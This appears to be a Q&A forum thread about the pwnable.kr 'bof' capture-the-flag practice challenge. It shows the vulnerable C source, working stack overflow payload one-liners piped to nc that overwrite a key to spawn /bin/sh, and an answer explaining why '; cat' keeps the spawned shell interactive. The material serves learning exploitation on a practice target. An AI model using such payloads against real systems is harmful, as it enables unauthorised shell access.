I usually use "python -c" to pass arguments to C program.
Like this:
$ python -c 'print "a" * 12' | ./program
but when I execute a BOF practice program pwnable.kr/bof, the
python -c 'print'
and
( python -c 'print'; cat )
work differently.
I wrote a exploit code like this:
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
but it didn't work, so I found stack_canary value.
$ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
but it still didn't work
So I found other people's write up
$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
This exploit code successfully executed /bin/sh
Why this 3. exploit code passes stack canary and what is the difference between python -c 'print'
and (python -c 'print'; cat)
?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
bof.c source
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
* stack smashing detected *: /home/bof/bof terminated overflow me :
Nah..
$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000
overflow me :
Nah..
$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
successfully execute /bin/sh
Take a look at the accepted answer for this question, it does a pretty good job explaining this.
cat /dev/null | /bin/sh
This will run /bin/sh
shell (and abuse cats, but will leave them for a moment) and the shell /bin/sh
will immediately close without writing anything. /bin/sh
runs an interactive shell, but as the standard input of the shell is closed (either by <nothing> |
or by </dev/null
) the shell detects that the input has ended (it reads EOF
) and exists immediately.
Now let's complicate the example:
$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
// bla bla bla
system("/bin/sh");
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
EOF
$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof
The ./bof
program calls system("/bin/sh")
if stack smashing was successful. But the shell /bin/sh
would try to still read standard input. As there is nothing more to read (as the input python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'
ended) it will read EOF
and exit immediately.
To write a string from a program and then allow the input to be interactive again, you can use a subshell with cat
:
( printf "\x11\xbe\xba\xfe\xca" ; cat )
This will first run the printf
command, then run the cat
. cat
will read from standard input after printf
ended, so the console will act as an interactive again.
User contributions licensed under CC BY-SA 3.0